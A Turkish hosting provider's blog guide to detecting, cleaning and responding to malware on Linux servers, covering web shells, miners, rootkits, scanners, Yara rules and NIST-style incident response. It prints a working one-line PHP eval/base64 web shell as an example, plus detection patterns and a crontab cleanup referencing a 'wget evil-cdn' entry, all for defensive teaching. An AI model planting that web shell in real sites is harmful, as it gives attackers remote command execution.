Buyukweb
Linux Sunucularda Zararlı Yazılım Tespiti, Temizleme ve Olay Müdahale Rehberi (2026)

Linux Sunucularda Zararlı Yazılım Tespiti, Temizleme ve Olay Müdahale Rehberi (2026)

Linux sunucularda web shell, cryptominer, rootkit ve SSH backdoor tespiti; ClamAV, Maldet, rkhunter, AIDE, Wazuh ve Yara ile pratik tarama; NIST tabanlı olay müdahale akışı ve verified clean restore stratejisi.

Büyükweb Editör EkibiHosting, Sunucu ve Sistem Yönetimi Editörü18 dakika okuma

Linux Sunucularda Zararlı Yazılım Tespiti, Temizleme ve Olay Müdahale Rehberi (2026)

"Linux virüs almaz" yanılgısı 2026 yılında hâlâ devam ediyor; oysa internete açık her Linux sunucu — özellikle PHP tabanlı uygulama, açık SSH portu veya zayıf yönetici parolası taşıyan sistemler — botnet, cryptominer ve web shell saldırılarının açık hedefi. Tehdit aktörleri Windows masaüstüne değil; sürekli açık, yüksek bant genişliği ve genelde "monitoring yok" zihniyetiyle kurulmuş Linux web sunucularına odaklanıyor. Bu rehber bir Linux sunucu yöneticisi gözünden yazıldı: önce malware taksonomisini, sonra ilk göstergeleri, ardından tespit araçlarını, olay müdahalesini (incident response) ve son olarak temiz baseline'a dönüş stratejisini ele alıyoruz. Komutlar gerçek, terminale yapıştırılabilir; senaryolar Bursa Tier 3 veri merkezimizdeki üretim VDS ve cPanel sunucularda karşılaştığımız olaylardan damıtıldı.

Buyukweb perspektifi: cPanel paylaşımlı paketlerimizde ImunifyAV ücretsiz tarayıcı varsayılan olarak çalışır; daha kapsamlı koruma isteyen müşteriler için Imunify360 Proactive Defense + WAF + otomatik temizleme opsiyonu mevcut. VDS sunucu kullanıcıları root erişimi ile ClamAV, Maldet, rkhunter, AIDE, Wazuh gibi araçları serbestçe kurabilir; JetBackup haftalık yedek politikası, herhangi bir incident sonrası temiz baseline'a dönmenin en güvenli yoludur. fiziksel dedicated seviyesinde tam izolasyon + custom HIDS opsiyonu istiyorsanız ekibimizle planlama yapabiliriz: 0850 302 60 70.

Linux Malware Taksonomisi: Sizi Vuran Ne?

Linux ekosisteminde "tek tip virüs" diye bir şey yok. Her saldırı tipi farklı amaç, farklı yerleşim, farklı temizleme stratejisi gerektirir. Yöneticinin ilk işi karşı karşıya olduğu tehdidi sınıflandırmak.

Kategori Amaç Tipik yerleşim Belirti
Web shell Uzak komut çalıştırma /home/user/public_html/wp-content/uploads/, tek PHP dosya Anormal POST trafiği, eval+base64 imzası
Cryptominer Kripto madenciliği /tmp, /var/tmp, gizli .processd %95 CPU, yüksek sıcaklık, mining pool conn
Rootkit Process/dosya gizleme Kernel modülü, LD_PRELOAD ps ile ss arasında tutarsızlık, hash uyumsuzluk
SSH backdoor Kalıcı erişim ~/.ssh/authorized_keys, alternatif sshd Yetkisiz key, alternatif port dinleyen sshd
Ransomware Dosya şifreleme + fidye /home, /var/www (binary olarak çalışır) .encrypted uzantı, ödeme notu README.txt
Botnet client DDoS / proxy ağ Mirai varyantı, IRC bağlantısı Outbound IRC port (6667), yüksek conn count
Supply chain Paket içine sızma npm/pip paket, sahte container imajı Update sonrası anormal davranış

Web Shell

PHP tabanlı sitelerin baş belası. c99.php, R57, WSO, b374k, WeevelyShell gibi klasik aileler hâlâ taranıyor; modern varyantlar genellikle küçük tek dosya (50-200 satır) ve base64 + eval kombinasyonu kullanıyor. Yükleme yolu çoğunlukla zayıf bir CMS pluginindeki unrestricted file upload açığıdır.

<?php @eval(base64_decode($_POST['cmd'])); ?>

Bu kadar kısa bir kod parçası bile uzaktan shell sağlar. Daha karmaşık varyantlar gzinflate, gzuncompress, str_rot13 katmanları ile imza taramayı zorlaştırır.

Cryptominer (XMRig / Kinsing / WatchDog)

2026'da en sık karşılaştığımız aktif tehdit. XMRig açık kaynak Monero miner; Kinsing ise daha sofistike, Docker API ve Redis açıklıklarından sızan bir aile. Kinsing, indirilince çalışırken iptables kuralları ekleyerek diğer miner'ları bloklar, sonra kendi cron iş emrini /etc/cron.d/ altına yazar. Tipik portu 3333, 5555, 7777, 14444, 14433 — mining pool standart portları.

Rootkit

En tehlikeli, en zor tespit edilen kategori. Kullanıcı seviyesi rootkit'ler LD_PRELOAD ile libc fonksiyonlarını hook eder; örneğin readdir() çağrısını yakalayıp belirli dosyaları listelemez, ps çıktısından belirli processleri gizler. Kernel seviyesi rootkit'ler kernel modülü olarak yüklenir ve syscall tablosunu değiştirir. Bir rootkit sisteme yerleştiyse "temizleme" kavramı yetersiz — reinstall + temiz JetBackup restore tek güvenli yol.

SSH Backdoor

Saldırgan sisteme bir kez girdiğinde kalıcı erişim için ~/.ssh/authorized_keys dosyasına kendi public key'ini ekler. Daha sofistike senaryolarda alternatif portta dinleyen custom-compiled sshd binary yerleştirilir; orijinal sshd kapatılırsa bile saldırgan içeride.

Ransomware

Linux ransomware son 3 yılda hız kazandı. Cl0p, RansomEXX, DarkSide Linux varyantları VMware ESXi ve web sunucularını hedefliyor. Şifreleme genellikle AES + RSA hybrid; her dosya yeni bir AES key ile şifrelenir, AES key saldırganın RSA public key'i ile sarılır. Şifreleme tamamlandıktan sonra ödeme yapsanız bile decrypt garantisi yok — temiz yedekten restore tek profesyonel cevap.

İlk Göstergeler: Şüphelendiğinde Önce Bunlara Bak

Olay müdahalesinde hız her şey. Bir cryptominer 12 saat boyunca tespit edilmezse hem fatura artar hem de bot ağına dahil olursunuz. Aşağıdaki kontroller şüpheli durumlarda ilk 60 saniyede yapılması gerekenler:

# 1. CPU yükü — tanımadığın process var mı?
top -c -b -n 1 | head -30

# 2. Memory kullanımı
free -h && ps aux --sort=-%mem | head -10

# 3. Anormal outbound bağlantılar
ss -tunap | grep ESTAB | awk '{print \$5}' | sort -u

# 4. Mining pool portlarına bağlantı?
ss -tun | grep -E ':(3333|5555|7777|14444|14433|45700)\b'

# 5. Yeni eklenmiş cron jobları
crontab -l ; cat /etc/crontab ; ls -la /etc/cron.*/ /var/spool/cron/

# 6. Son 24 saatte değişmiş PHP dosyaları (cPanel yapısında)
find /home/*/public_html -mtime -1 -type f -name "*.php" 2>/dev/null

# 7. SUID dosyalarda yeni eklenenler
find / -xdev -perm -4000 -mtime -7 2>/dev/null

# 8. /tmp ve /var/tmp altında çalıştırılabilir
find /tmp /var/tmp /dev/shm -type f -executable 2>/dev/null

# 9. authorized_keys yetkisiz girdi?
for u in /home/*/.ssh/authorized_keys /root/.ssh/authorized_keys; do
  [ -f "\$u" ] && echo "=== \$u ===" && cat "\$u"
done

# 10. Disk usage ani artış
df -h ; du -sh /tmp /var/tmp /var/log /home 2>/dev/null

# 11. Son 7 günde değişen kritik binary
find /usr/bin /usr/sbin /bin /sbin -mtime -7 -ls 2>/dev/null

# 12. Silinmiş ama hâlâ çalışan process (gizli malware)
ls -la /proc/*/exe 2>/dev/null | grep -E 'deleted|\(deleted\)'

Pratik ipucu: Cryptominer çoğunlukla CPU'yu %100'e kilitler ama bazıları akıllı — sahibinin aktif olduğunu fark edince yavaşlar. top'ta görmüyor olabilirsin; uptime ile load average'ı gece-gündüz karşılaştır. Sabah 4'te 8 olan ama gündüz 0.5 olan load average tipik miner imzasıdır.

Tespit Araçları: Derinlemesine Pratik

ClamAV: Açık Kaynak AV

ClamAV imza tabanlı klasik AV; Linux sunucusunda web dizinleri ve mail kuyruğu için fiili standart.

# Kurulum
dnf install -y clamav clamav-update clamd        # AlmaLinux/RHEL
apt install -y clamav clamav-daemon clamav-freshclam  # Ubuntu/Debian

# Imza veritabanını güncelle
freshclam

# Tek seferlik tarama — sadece infected yazdır, virüsleri quarantine'a taşıma (önce gör)
clamscan -r --infected --no-summary /home/

# Daemon modu (on-access tarama için)
systemctl enable --now clamd@scan

# Performans uyarısı: clamscan tek thread; büyük dizinler için clamdscan daha hızlı
clamdscan --multiscan --fdpass /home/

ClamAV imza veritabanı dosyaları: main.cvd, daily.cvd, bytecode.cvd. freshclam günde 4-6 saatte bir otomatik güncelleme yapar (freshclam.conf içindeki Checks parametresi).

Sınırlama: ClamAV web shell tespitinde sınırlıdır; signature tabanı genel virüs odaklı. Web shell için Maldet kombine edilmelidir.

Maldet (Linux Malware Detect)

R-fx Networks'ün geliştirdiği, cPanel/Plesk paylaşımlı sunucularda fiili standart. ClamAV'i imza motoru olarak kullanır ama imza veritabanı web shell odaklı.

# Kurulum
cd /tmp && wget https://www.rfxn.com/downloads/maldetect-current.tar.gz
tar xzf maldetect-current.tar.gz && cd maldetect-*/
./install.sh

# Imza veritabanını güncelle
maldet -u

# Belirli dizini tara
maldet -a /home/

# Quarantine devre dışı; sadece raporla
maldet -a /home/ --report-only

# Son taramayı raporla
maldet --report list
maldet --report SCANID

/usr/local/maldetect/conf.maldet ayarlarında quarantine_hits=1 ve quarantine_clean=1 kombinasyonu otomatik temizleme yapar — ancak ilk taramada manual review öneririz (false positive ile WordPress core dosyası temizlenmesin).

rkhunter (Rootkit Hunter)

Rootkit ve trojan tespitine odaklı. Hash veritabanı ile sistem binary'lerini karşılaştırır.

# Kurulum
dnf install -y rkhunter        # AlmaLinux/RHEL
apt install -y rkhunter        # Ubuntu/Debian

# Veritabanını güncelle
rkhunter --update && rkhunter --propupd

# Tam denetim
rkhunter --check --skip-keypress --report-warnings-only

# Log
cat /var/log/rkhunter.log | grep -i warning

Yanlış pozitif fazla; /etc/rkhunter.conf içindeki ALLOWHIDDENDIR ve SCRIPTWHITELIST ile sistemi tanıttıktan sonra cron ile günlük çalıştırın.

chkrootkit

rkhunter'a benzer ama hızlı, statik analiz odaklı. Eski tarafta kaldı ama hâlâ ikinci görüş için faydalı.

dnf install -y chkrootkit && apt install -y chkrootkit
chkrootkit -q   # Sadece şüpheli sonuçları yazdır

AIDE (Advanced Intrusion Detection Environment)

Dosya bütünlüğü izleyici (FIM). Sistemde temiz baseline oluşturup sonradan değişen kritik dosyaları raporlar. Tüm bir rootkit tartışmasında AIDE en güvenilir araç.

dnf install -y aide
apt install -y aide aide-common

# Baseline (sistem temizken çalıştır)
aide --init
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz

# Kontrol — değişen, eklenen, silinen dosyaları listele
aide --check

# Cron
echo "0 3 * * * root aide --check | mail -s 'AIDE rapor' [email protected]" \
  > /etc/cron.d/aide

Kritik: AIDE veritabanını yerel diskte bırakma. Rootkit veritabanını da değiştirebilir. Veritabanını dış güvenli depoya (S3-compatible, ayrı bir backup VDS) kopyala.

OSSEC / Wazuh

OSSEC açık kaynak HIDS; Wazuh OSSEC fork'u, daha modern dashboard'lu. Agent-manager mimarisi ile birden fazla sunucuyu merkezi izlersiniz.

# Wazuh agent kurulumu (AlmaLinux 9 üzerinde)
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --dearmor > /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" \
  | tee /etc/apt/sources.list.d/wazuh.list
apt update && apt install -y wazuh-agent

# Manager IP ayarla
sed -i 's/MANAGER_IP/192.0.2.10/' /var/ossec/etc/ossec.conf
systemctl enable --now wazuh-agent

Wazuh: file integrity monitoring + rootcheck + log analizi + active response (otomatik IP banla, processi öldür) tek noktadan.

Yara: Özel İmza Yazma

Bazen hazır imza veritabanı yetmez; özel web shell varyantı için kendi imzanızı yazarsınız. Yara bu iş için endüstri standardı.

dnf install -y yara && apt install -y yara
# /usr/local/yara/rules/webshell-eval-base64.yar
rule WebShell_PHP_Eval_Base64 {
    meta:
        description = "PHP web shell — eval + base64_decode kombinasyonu"
        author = "buyukweb-sec"
        date = "2026-05"
    strings:
        \$eval = "eval(" nocase
        \$b64 = "base64_decode(" nocase
        \$post = "\$_POST[" nocase
        \$get = "\$_GET[" nocase
        \$req = "\$_REQUEST[" nocase
    condition:
        filesize < 50KB and \$eval and \$b64 and (\$post or \$get or \$req)
}
# Çalıştır
yara -r /usr/local/yara/rules/ /home/*/public_html/ 2>/dev/null

auditd: Kernel Düzey Audit

Linux kernel'in audit alt sistemi, sistem çağrı düzeyinde olay kaydı tutar. Bir web shell yüklenmesi anında auditd ile yakalanabilir.

# Kural: /home/*/public_html altındaki dosya yazma olayları
auditctl -w /home -p wa -k webshell_drop

# Kalıcı kural (/etc/audit/rules.d/99-webshell.rules)
echo "-w /home -p wa -k webshell_drop" > /etc/audit/rules.d/99-webshell.rules
augenrules --load && systemctl restart auditd

# Sorgu
ausearch -k webshell_drop -ts today

Web Shell Tespiti: Spesifik Yaklaşım

cPanel paylaşımlı veya WordPress yoğun bir sunucuda web shell tespiti günlük rutin olmalı.

# 1. eval+base64 kombinasyonu — klasik web shell imzası
grep -rl --include='*.php' "eval(" /home/*/public_html/ 2>/dev/null | \
  xargs grep -l "base64_decode" 2>/dev/null

# 2. Dangerous PHP fonksiyon kullanımı
grep -rn --include='*.php' -E "shell_exec|passthru|exec\(|system\(|popen\(|proc_open" \
  /home/*/public_html/ 2>/dev/null | head -50

# 3. Son 7 gün değişen PHP dosyaları
find /home/*/public_html -name '*.php' -mtime -7 -ls 2>/dev/null

# 4. Çok uzun base64 satırları (obfuscated kod)
grep -rn --include='*.php' -E "[A-Za-z0-9+/]{200,}" /home/*/public_html/ 2>/dev/null

# 5. .htaccess unusual rewrite
grep -rn "RewriteRule\|AddHandler\|SetHandler" /home/*/public_html/.htaccess 2>/dev/null

# 6. uploads dizininde PHP — çoğu zaman web shell
find /home/*/public_html/wp-content/uploads -name '*.php' 2>/dev/null

Imunify360 Proactive Defense: PHP runtime düzeyinde eval, base64_decode, system çağrılarını runtime'da izler; statik tarama atlasa bile çalıştırma anında durdurur. Buyukweb premium cPanel paketlerinde aktif.

Cryptominer Tespiti: Detaylı Akış

# 1. CPU yiyen process
top -b -n 1 -o %CPU | head -15

# 2. Şüpheli process'in komut satırı
cat /proc/PID/cmdline | tr '\\0' ' '
ls -la /proc/PID/exe
ls -la /proc/PID/cwd

# 3. xmrig / kinsing / watchdog isimleri
ps aux | grep -iE 'xmrig|kinsing|watchdog|kdevtmpfsi|kthreaddi'

# 4. Mining pool bağlantısı
ss -tunp | grep -E ':(3333|5555|7777|14444|14433|45700|45560|7095)\b'

# 5. Cron'da yetkisiz girdi
cat /etc/cron.d/* /etc/cron.hourly/* /var/spool/cron/*

# 6. systemd timer ile gizlenen miner
systemctl list-timers --all | grep -v 'apt\|dnf\|logrotate\|man-db\|systemd'

# 7. LD_PRELOAD hook
cat /etc/ld.so.preload
echo \$LD_PRELOAD

# 8. iptables'da miner'a izin veren kural
iptables -L OUTPUT -n -v

Bir Kinsing enfeksiyonunu temizledikten sonra /etc/ld.so.preload dosyasını mutlaka kontrol edin — Kinsing buraya libsystem.so benzeri dosyayı yazıp processi gizler.

İncident Response: 5 Adım (NIST SP 800-61 Uyumlu)

NIST SP 800-61 olay müdahale döngüsünü Linux sunucu bağlamına uyarlıyoruz.

1. Identification (Tespit ve Sınıflandırma)

  • Hangi gösterge bizi uyarıdı? (CPU, AIDE alert, müşteri şikayeti)
  • Hangi servis etkilendi? (cPanel hesap, VDS root, tek site)
  • Saldırı tipi nedir? (yukarıdaki taksonomi)
  • İlk olay zamanı ne? (last, audit log, web log)

2. Containment (Kontrol Altına Alma)

Amaç saldırının yayılmasını durdurmak, kanıt korumak.

# Outbound trafiği bloklama (miner pool'a bağlantı kes)
iptables -A OUTPUT -j REJECT
iptables -I OUTPUT 1 -d <DNS_IP> -p udp --dport 53 -j ACCEPT
iptables -I OUTPUT 1 -d <YEDEK_SUNUCU_IP> -j ACCEPT

# SSH yeni bağlantıyı geçici kapat (mevcut admin oturumu kalsın)
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -j DROP

# Process'i öldürmeden ÖNCE memory dump al
gcore PID    # /tmp/core.PID
# veya
cat /proc/PID/maps > /root/ir/maps-PID.txt
cat /proc/PID/cmdline > /root/ir/cmdline-PID.txt

Önemli: Reboot etme. Reboot ile RAM'deki kanıtlar yok olur. Önce memory ve disk imajı al.

3. Eradication (Temizleme)

Saldırı vektörünü kapat, malware'i kaldır, root cause patch et.

# Web shell tespit edilen dosyayı sil — ama ÖNCE kopyala (kanıt)
cp /home/user/public_html/shell.php /root/ir/evidence-shell.php
chattr -i /home/user/public_html/shell.php  # immutable flag varsa
rm /home/user/public_html/shell.php

# Yetkisiz authorized_keys girdileri
sed -i '/saldirgan-key-prefix/d' /home/user/.ssh/authorized_keys

# Yetkisiz cron
sed -i '/wget.*evil-cdn/d' /etc/crontab
crontab -u user -e   # gözle düzenle

# Tüm kullanıcı parolalarını sıfırla
passwd user

# WordPress ise: tüm pluginleri güncelle, salt key'leri rotate et

4. Recovery (İyileşme ve Doğrulama)

Sistemi temiz baseline'a döndür, dış dünyaya yeniden aç.

  • JetBackup restore: Enfeksiyon öncesi temiz yedeğe dön. Buyukweb cPanel hesaplarında JetBackup haftalık yedek varsayılan. Verified clean — restore sonrası AIDE, rkhunter, maldet üçü beraber çalıştır.
  • Snapshot + reinstall: Rootkit şüphesi varsa, disk imajını kanıt olarak sakla, yeni temiz VDS kur, sadece veriyi (DB dump, uploads dizini) eskisinden taşı.
  • DNS / kullanıcı bildirimleri: Veri sızıntısı varsa GDPR/KVKK gereği 72 saat içinde Kişisel Verileri Koruma Kurumu'na bildir.

5. Lessons Learned (Çıkarılan Dersler)

Olay sonrası post-mortem dokumanı:

  • Saldırı vektörü (CMS plugin açığı? Zayıf parola? Açık SSH?)
  • Tespit süresi (saldırı → fark etme arası)
  • Müdahale süresi (fark etme → temizleme tamamlama arası)
  • Hangi kontrol işe yaradı? Hangisi başarısız oldu?
  • Önleyici aksiyonlar (bu listeyi yöneticilerle paylaş)

Basit Linux Forensics

Profesyonel adli analiz uzun konu; ama bir Linux yöneticisi temel kanıt toplama tekniklerini bilmeli.

# Disk imajı (rootkit şüphesi için)
dd if=/dev/sda of=/mnt/external/disk-image.dd bs=4M status=progress conv=noerror,sync

# Memory dump (LiME modülü ile)
insmod lime.ko "path=/mnt/external/memory.lime format=lime"

# Volatility ile memory analizi (offline, başka makinede)
volatility -f memory.lime --profile=LinuxUbuntu2204x64 linux_pslist
volatility -f memory.lime --profile=LinuxUbuntu2204x64 linux_netstat
volatility -f memory.lime --profile=LinuxUbuntu2204x64 linux_check_modules

# Binary'den string çıkar — gizli URL, mining pool, C2 IP bulmak için
strings /tmp/suspicious-binary | grep -iE 'http|pool|wallet|btc'

# Binary tipini tanı
file /tmp/suspicious-binary

# Log koruması — write-once davranış için
chattr +a /var/log/auth.log    # sadece append edilebilir

Log merkezileştirme: Saldırgan ilk işi olarak /var/log altındaki izleri siler. rsyslog veya syslog-ng ile uzak log sunucusuna gerçek zamanlı kopya yollayın; saldırgan yerelde logları silse bile uzakta ipuçları kalır. ELK Stack veya Graylog kombinasyonu küçük filolar için yeterli.

Temizleme Stratejisi: Asla Canlıda Düzeltme

Bu rehberde en kritik yönerge: enfekte canlı sunucu üstünde "elle temizleme" yapma. Rootkit ls ve ps çıktısını sahteleyebilir; göremediğin şeyi temizleyemezsin.

Önerilen sıralama:

  1. Snapshot al — VDS hypervisor seviyesinde disk snapshot, kanıt için.
  2. Yeni temiz VDS hazırla — taze AlmaLinux 9 veya Ubuntu 22.04, hardening uygulanmış.
  3. Veri al — sadece kullanıcı verisi: DB dump (mysqldump), uploads dizini, e-posta. Kesinlikle binary, config, sistem dosyası taşıma.
  4. JetBackup verified clean restore — Buyukweb cPanel hesaplarında 14-30 günlük yedek tutar; enfeksiyon tarihinden öncesini geri yükle.
  5. Kullanıcı şifreleri rotate — tüm cPanel, FTP, MySQL, e-posta, WordPress admin şifreleri yenilensin.
  6. Vektörü kapat — eski sunucudaki bulgudan saldırı yolunu öğren (plugin CVE, zayıf parola, açık panel); yeni sunucuda aynı açık olmasın.

Defense in Depth: Önleyici Katmanlar

Tespit ve temizleme reaktif; asıl iş olay olmaması için katmanlı savunma.

Katman Araç Buyukweb durumu
Edge Cloudflare WAF + DDoS koruma Müşteri tarafı opsiyonel
Sunucu firewall iptables/nftables, fail2ban, CSF, cPHulk VDS'te kendin kurarsın; cPanel'de cPHulk aktif
Application ModSecurity + OWASP CRS, Imunify360 WAF cPanel paketlerinde aktif
PHP runtime Imunify360 Proactive Defense, suhosin Premium paketlerde
Auth SSH key-only, 2FA, fail2ban VDS kendin; cPanel 2FA opsiyonel
Paket yönetim Otomatik güvenlik yamaları (dnf-automatic, unattended-upgrades) VDS kendin
PHP versiyon CloudLinux MultiPHP — eski sürümleri kaldır cPanel'de aktif
İzolasyon CloudLinux LVE + CageFS cPanel paketlerinde aktif
HIDS Wazuh, OSSEC, AIDE VDS kendin
Yedek JetBackup haftalık + offline kopya cPanel paketlerinde dahil
İzleme Wazuh dashboard, custom monitoring VDS opsiyonel

Buyukweb Paket Karşılaştırması — Güvenlik Açısından

Özellik cPanel paylaşımlı VDS sunucu Fiziksel dedicated
ImunifyAV (ücretsiz tarayıcı) Dahil Kurulabilir Kurulabilir
Imunify360 (premium) Opsiyonel Kurulabilir (lisans) Kurulabilir
ModSecurity + OWASP CRS Aktif Manuel kurulum Manuel kurulum
CloudLinux LVE + CageFS Aktif – (KVM izolasyon var) – (tam izolasyon)
Root erişim (Maldet/ClamAV/Wazuh self-host) Yok Var Var
JetBackup yedek Dahil (haftalık) Opsiyonel Manuel kurulum
Custom firewall (CSF/iptables) Buyukweb yönetir Tam kontrol Tam kontrol
auditd + Wazuh agent Yok Kurulabilir Kurulabilir
KVM konsol erişim Var Direkt fiziksel
Disk encryption (LUKS) İsteğe bağlı İsteğe bağlı

VDS kullanıcısı kendi güvenlik mimarisini kurmak ister; cPanel müşterisi yönetilmiş bir ortamda çalışır. Hangisi daha güvenli? Cevap kullanıcıya bağlı: doğru yapılandırılmış cPanel + Imunify360, yarı dikkatli yönetilen VDS'ten genelde daha güvenlidir.

WordPress Sunucularda Özel Hardening

WordPress, Linux malware enfeksiyonlarının en yaygın vektörü. Aşağıdaki önlemler her WordPress kurulumunda olmalı:

# wp-config.php — DISABLE_FILE_EDIT
echo "define('DISALLOW_FILE_EDIT', true);" >> wp-config.php
echo "define('DISALLOW_FILE_MODS', true);" >> wp-config.php

# Dosya izinleri
find /home/user/public_html -type d -exec chmod 755 {} \;
find /home/user/public_html -type f -exec chmod 644 {} \;
chmod 440 /home/user/public_html/wp-config.php

# wp-content/uploads içinde PHP çalıştırılmasın
cat > /home/user/public_html/wp-content/uploads/.htaccess << 'EOF'
<Files *.php>
    Order Deny,Allow
    Deny from all
</Files>
EOF

# xmlrpc.php saldırı yüzeyini kapat (kullanmıyorsan)
cat >> /home/user/public_html/.htaccess << 'EOF'
<Files xmlrpc.php>
    Order Deny,Allow
    Deny from all
</Files>
EOF

# Tema/plugin manuel güncellemeleri
wp plugin update --all
wp theme update --all
wp core update

JetBackup haftalık yedek + DB için ayrıca mysqldump günlük cron kombinasyonu uygulamamızda yıllardır kanıtlanmış pratik.

Sıkça Sorulan Sorular

Sunucumda CPU %100, miner mı yoksa normal yük mü?

İki bilgiyle ayır: (1) top'ta processin adı tanıdık mı? Apache, MySQL, php-fpm normal; xmrig, kdevtmpfsi, kinsing miner. (2) ss -tun çıktısında 3333/5555/7777/14444 portlarına outbound bağlantı var mı? Varsa miner. Normal yük her zaman bir uygulamaya bağlıdır; tanımlanamayan yüksek CPU şüpheli.

ClamAV bulamadığı malware'i Maldet bulur mu?

Web shell senaryolarında genellikle evet. ClamAV genel virüs imzaları odaklı; Maldet özellikle PHP web shell, R-fx Networks honeypot'larından gelen taze imzalar üzerine kurulu. İdeal uygulama: ClamAV + Maldet birlikte, Maldet'in scanner backend'i olarak ClamAV. cPanel sunucularında ImunifyAV her ikisinin üstünde — gerçek zamanlı koruma ekler.

Rootkit varsa neden "elle temizleme" işe yaramaz?

Rootkit syscall'leri hook eder; ls dosyayı listelemediği için sen göremezsin, ps processi göstermediği için kapatamazsın. AIDE bir kez sapmış sistemin değişikliklerini bile yanlış gösterebilir (AIDE kendisi etkilenmediyse şanslısınız). Tek profesyonel cevap: temiz baseline reinstall + verified clean restore. Buyukweb VDS'te bu süreç yeni VDS provision + 1-2 saat veri taşıma demek.

Web shell tespit ettim, sadece dosyayı silsem yeter mi?

Hayır. Web shell sadece bir araç; saldırgan dosyayı yüklemek için bir açıklıktan içeri girdi. Sadece dosyayı silmek demek, kapıyı açık bırakıp soyguncuyu kovmak demek. Eradication adımları: (1) dosyayı kanıt olarak kopyala, (2) sil, (3) saldırı vektörünü bul (web log üstünde POST request hangi IP'den geldi, hangi pluginin uploads alanına yazdı), (4) o pluginin son sürümünü yükle veya CVE bilgisine göre yamala, (5) tüm cPanel/FTP/MySQL/WordPress şifrelerini rotate et, (6) AIDE ile sistemin geri kalanında bir değişiklik kalmadığını doğrula. Bir web shell genellikle yanında 5-10 dosya daha bırakır; tek dosyaya odaklanmak yanıltıcı.

Imunify360 ile ImunifyAV arasındaki fark?

ImunifyAV ücretsiz tarayıcı — sadece dosya taraması, manuel tetikleme veya cron ile çalışır, web panelinde bulgu görüntülenir. Imunify360 premium — WAF (ModSecurity 3 + özel kurallar), Proactive Defense (PHP runtime hook), gerçek zamanlı dosya tarama, otomatik temizleme, IDS/IPS, captcha challenge, malicious IP feed entegrasyonu. cPanel hesapları için bütüncül çözüm. Buyukweb paketlerinde dahil olup olmadığı paket sınıfına göre değişir; /paket-karsilastirma sayfamızdan kontrol edebilir veya 0850 302 60 70 üzerinden danışabilirsiniz.

Cron'da yetkisiz girdi temizledim ama tekrar geldi, neden?

Cryptominer aileleri (Kinsing özellikle) birden fazla persistence mekanizması kullanır. Cron'dan kaldırırsan systemd timer ile geri yükler, onu da kaldırırsan ~/.bashrc veya /etc/profile.d/ üstünden tetikler, onları da kaldırırsan LD_PRELOAD üzerinden çalışır. Çözüm: tüm persistence mekanizmalarını tek seferde tara — crontab -l, /etc/cron.*, /var/spool/cron/*, systemctl list-timers --all, /etc/rc.local, /etc/profile.d/, ~/.bashrc, ~/.profile, /etc/ld.so.preload. Hepsi temizken bile yumurtadan tavuk: malware ana binary'si /tmp veya /var/tmp altında saklı kalmış olabilir. Pratik çözüm: temiz baseline restore.


İlgili Büyükweb Hizmetleri

Linux sunucu güvenliğine ciddi yaklaşan ekipler için:

Olay müdahale desteği, malware temizleme veya hardening danışmanlığı için Bursa Tier 3 veri merkezimizden 7/24 Türkçe destek: 0850 302 60 70 veya iletişim sayfamız.

Güvenlik & SSL İlgili Hizmetlerimiz

Bu yazıda anlatılan teknik konuyu profesyonel altyapıyla deneyimleyin

Etiketler:

#güvenlik#ssl#siber güvenlik#sunucu güvenliği

Bu yazıyı paylaş